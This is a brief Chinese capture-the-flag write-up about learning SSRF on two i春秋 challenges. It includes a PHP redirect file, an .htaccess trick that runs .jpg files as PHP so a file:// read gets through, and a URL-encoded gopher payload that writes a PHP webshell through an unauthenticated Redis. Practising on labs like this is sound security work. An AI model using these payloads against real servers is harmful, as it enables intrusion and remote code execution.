终于学一下ssrf

2017-02-03

说什么一周一篇都是扯淡- -，拖延症拖啊拖啊拖。ssrf这个概念好久前就知道，但一直没有实际操作过，这次拿i春秋的两道题学一下。

parameters

在do=main页面有一个输入框，随便输点什么会提示协议或后缀不对，根据套路应该是ssrf。然后发现限制了协议是http，后缀是图片。
因为协议被限制了，所以不能直接file://读文件，但可以通过在自己服务器上放一个用来跳转的php文件。
内容是

1	header("Location:$_GET['a']");

然后访问302.php?a=file:///var/www/html/index.php读主页的源码。不过这里的问题是后缀被限制成图片。所以在自己的服务器上配置.htaccess,把jpg解析为php

1	AddType application/x-httpd-php jpg

访问http://ctf.ever404.com/302.jpg?a=file:///var/www/html/index.php
后面的部分比较奇葩了，读取了数据库的存储文件ibdata1拿到了密码

###cat
这道题是过滤了内网ip，同样通过跳转。http://ctf.ever404.com/1.php?1.jpg即可。
看writeup扫端口，80很快，6379超时。根据套路猜是redis未授权。
禁用了http和https，利用gopher写shell就行了。

header('Location: gopher://127.0.0.1:6379/___%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%68%61%6f%7a%69%31%2e%70%68%70%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%0d%0a%73%65%74%20%36%36%36%20%22%3c%3f%70%68%70%20%24%5f%47%45%54%5b%61%5d%28%24%5f%47%45%54%5b%62%5d%29%3b%3f%3e%22%0d%0a%73%61%76%65%0d%0a%65%78%69%74%0d%0a');